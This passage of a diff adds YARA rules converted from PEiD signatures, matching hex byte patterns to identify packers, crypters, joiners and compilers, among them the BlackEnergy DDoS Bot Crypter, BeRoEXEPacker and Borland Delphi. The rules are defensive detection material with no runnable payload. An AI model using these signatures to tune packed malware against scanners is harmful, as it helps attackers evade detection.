+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0 0F 8E 39 01 00 00 89 45 F0 C6 45 FF 00 8D 7D E8 8B F3 8A 0E 8A 17 8A C1 3A CA 75 1E 84 C0 74 16 8A 56 01 8A 4F 01 8A C2 3A D1 75 0E 83 C6 02 83 C7 02 84 C0 75 DC 33 C0 EB 05 1B C0 83 D8 FF 85 C0 75 04 C6 45 FF 01 8B 43 10 85 C0 0F 84 DD 00 00 00 8B 43 08 50 E8 D7 04 00 00 8A 4D FF 83 C4 04 84 C9 8B 4B 08 89 45 F8 C7 45 F4 00 00 00 00 74 61 8B 15 07 ?? ?? 00 8B 35 6B ?? ?? 00 8B 7B 0C 2B CA 03 F2 8B D1 03 F7 8B F8 C1 E9 02 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00290_bambam_V0_04____bedrock___Sign_by_fly_
+{
+    meta:
+        description = "[bambam V0.04 -> bedrock ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 C0 09 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00291_bambam_V0_04____bedrock_
+{
+    meta:
+        description = "[bambam V0.04 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00292_BDC_HelpSystem_Help_file_
+{
+    meta:
+        description = "[BDC HelpSystem Help file]"
+        ep_only = "false"
+    strings:
+        $a = {42 44 43 20 48 65 6C 70 53 79 73 74 65 6D}
+    condition:
+        $a
+}
+
+rule PEiD_00293_beria_v0_07_public_WIP____symbiont__h__
+{
+    meta:
+        description = "[beria v0.07 public WIP -> symbiont (h)]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 3B F5 74 37 8B 46 0C 3B C5 8B 3D 04 30 ?? ?? 89 2E 89 6E 04 89 6E 08 74 06 50 FF D7 89 6E 0C 8B 46 10 3B C5 74 06 50 FF D7 89 6E 10 8B 46 14 3B C5 74 0A 50 FF D7 89 6E 14 EB 02 33 F6 6A 10 55 89 35 A4 40 ?? ?? FF D3 8B F0 3B F5 74 09 E8 08 12 00 00 8B C6 EB 02 33 C0 8B 48 08 8B 51 04 8B 09 8B 35 30 30 ?? ?? A3 D4 43 ?? ?? 8B 00 03 D0 52 03 C8 51 FF D6 8B 3D 24 30 ?? ?? 50 FF D7}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00294_beria_v0_07_public_WIP____symbiont_
+{
+    meta:
+        description = "[beria v0.07 public WIP -> symbiont]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00295_Berio_1_00_beta__h__
+{
+    meta:
+        description = "[Berio 1.00 beta (h)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 12 00 00 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 B0 01 00 83 BD 22 04 00 00 00 89 9D 22 04 00 00 0F 85 65 03 00 00 8D 85 2E 04 00 00 50 FF 95 4D 0F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00296_Berio_2_00_beta__h__
+{
+    meta:
+        description = "[Berio 2.00 beta (h)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 74 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00297_BeRo_Tiny_Pascal____BeRo_
+{
+    meta:
+        description = "[BeRo Tiny Pascal -> BeRo]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00298_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00299_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00300_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00301_BeRoEXEPacker_v1_00__LZMA__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00302_BeRoEXEPacker_V1_00____BeRo___Sign_by_fly_
+{
+    meta:
+        description = "[BeRoEXEPacker V1.00 -> BeRo ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00303_BeRoEXEPacker_v1_00____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 -> BeRo / Farbrausch]"
+        ep_only = "false"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+    condition:
+        $a
+}
+
+rule PEiD_00304_BeRoEXEPacker_v1_00____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC ?? ?? ?? ?? A4 ?? ?? ?? ?? 00 ?? ?? ?? ?? 33 C9 E8 64 00 00 00 73 1C ?? ?? ?? ?? 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 ?? ?? ?? ?? D4 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00305_BeRoEXEPacker_V1_00____BeRo_
+{
+    meta:
+        description = "[BeRoEXEPacker V1.00 -> BeRo]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74}
+    condition:
+        $a
+}
+rule PEiD_00306_BeRoEXEPacker_v1_00__LZBRR__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRR]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00307_BeRoEXEPacker_v1_00__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00308_BeRoEXEPacker_v1_00__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00309_BeRoEXEPacker_v1_00_DLL__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 DLL [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00310_BeRoEXEPacker_v1_00_DLL__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 DLL [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00311_BGI_Stroked_Font_v_1_1_
+{
+    meta:
+        description = "[BGI Stroked Font v.1.1]"
+        ep_only = "false"
+    strings:
+        $a = {50 4B 08 08 42 47 49 20 53 74 72 6F 6B 65 64 20 46 6F 6E 74 20 56 31 2E 31}
+    condition:
+        $a
+}
+
+rule PEiD_00312_BlackEnergy_DDoS_Bot_Crypter_
+{
+    meta:
+        description = "[BlackEnergy DDoS Bot Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00313_Blade_Joiner_v1_5_
+{
+    meta:
+        description = "[Blade Joiner v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00314_BlindSpot_1_0____s134k_
+{
+    meta:
+        description = "[BlindSpot 1.0 -> s134k]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00315_BlindSpot_1_0____s134k_
+{
+    meta:
+        description = "[BlindSpot 1.0 -> s134k]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15 1C 10 40 00 8D 45 F8 8B 1D 18 10 40 00 56 50 6A 34 FF 35 90 12 40 00 FF 75 FC FF D3 85 C0 0F 84 7F 01 00 00 39 75 F8 0F 84 76 01 00 00 A1 90 12 40 00 66 8B 40 30 66 3D 01 00 75 14 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 14 10 40 00 EB 2C 66 3D 02 00 75 14 8D 85 E4 FE FF FF 50 68 04 01 00 00 FF 15 10 10 40 00 EB 12 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 0C 10 40 00 8B 3D 08 10 40 00 8D 85 E4 FE FF FF 68 54 10 40 00 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00316_BobPack_v1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[BobPack v1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00317_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00318_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00319_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00320_BookManager_v9510_
+{
+    meta:
+        description = "[BookManager v9510]"
+        ep_only = "true"
+    strings:
+        $a = {FC A3 ?? ?? 89 1E ?? ?? 49 89 0E ?? ?? BB ?? ?? 8C 1F 83 ?? ?? 89 ?? ?? B8 ?? ?? 50 89 ?? ?? F7 D0 50}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00321_BopCrypt_v1_0_
+{
+    meta:
+        description = "[BopCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 BD ?? ?? ?? ?? E8 ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00322_Borland_C___Borland_Builder_
+{
+    meta:
+        description = "[Borland C / Borland Builder]"
+        ep_only = "false"
+    strings:
+        $a = {3B CF 76 05 2B CF FC F3 AA 59}
+    condition:
+        $a
+}
+
+rule PEiD_00323_Borland_C___1991_
+{
+    meta:
+        description = "[Borland C++ 1991]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 06 ?? ?? 2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00324_Borland_C___1992__1994_
+{
+    meta:
+        description = "[Borland C++ 1992, 1994]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8E D8 8C 1E ?? ?? 8C 06 ?? ?? 8C 06 ?? ?? 8C 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00325_Borland_C___1994_
+{
+    meta:
+        description = "[Borland C++ 1994]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E 89 ?? ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA A3 ?? ?? 8C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00326_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00327_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00328_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00329_Borland_C___for_Win16_1991_
+{
+    meta:
+        description = "[Borland C++ for Win16 1991]"
+        ep_only = "true"
+    strings:
+        $a = {9A FF FF 00 00 0B C0 75 ?? E9 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? B8 FF FF 50 9A FF FF 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00330_Borland_C___for_Win32_1994_
+{
+    meta:
+        description = "[Borland C++ for Win32 1994]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 57 51 33 C0 BF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00331_Borland_C___for_Win32_1995_
+{
+    meta:
+        description = "[Borland C++ for Win32 1995]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00332_Borland_C___for_Win32_1999_
+{
+    meta:
+        description = "[Borland C++ for Win32 1999]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90}
+    condition:
+        $a
+}
+
+rule PEiD_00333_Borland_C___for_Win32_1999_
+{
+    meta:
+        description = "[Borland C++ for Win32 1999]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00334_Borland_C___
+{
+    meta:
+        description = "[Borland C++]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76 05 2B CF FC F3 AA 59 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00335_Borland_Delphi_3____Portions_Copyright__c__1983_96_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 3 -> Portions Copyright (c) 1983,96 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 36 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00336_Borland_Delphi_3____Portions_Copyright__c__1983_97_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 3 -> Portions Copyright (c) 1983,97 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 37 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00337_Borland_Delphi_5____Portions_Copyright__c__1983_99_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 5 -> Portions Copyright (c) 1983,99 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 39 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00338_Borland_Delphi_DLL_
+{
+    meta:
+        description = "[Borland Delphi DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 B4 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00339_Borland_Delphi_Setup_Module_
+{
+    meta:
+        description = "[Borland Delphi Setup Module]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00340_Borland_Delphi_v2_0_
+{
+    meta:
+        description = "[Borland Delphi v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0A ?? ?? ?? B8 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00341_Borland_Delphi_v3_0_
+{
+    meta:
+        description = "[Borland Delphi v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 55 8B EC 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00342_Borland_Delphi_v4_0___v5_0_
+{
+    meta:
+        description = "[Borland Delphi v4.0 - v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A 00 E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 00 00 00 00 C7 42 0C 00 00 00 00 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00343_Borland_Delphi_v4_0___v5_0_
+{
+    meta:
+        description = "[Borland Delphi v4.0 - v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 ?? ?? ?? ?? C7 42 0C ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00344_Borland_Delphi_v5_0_KOL_
+{
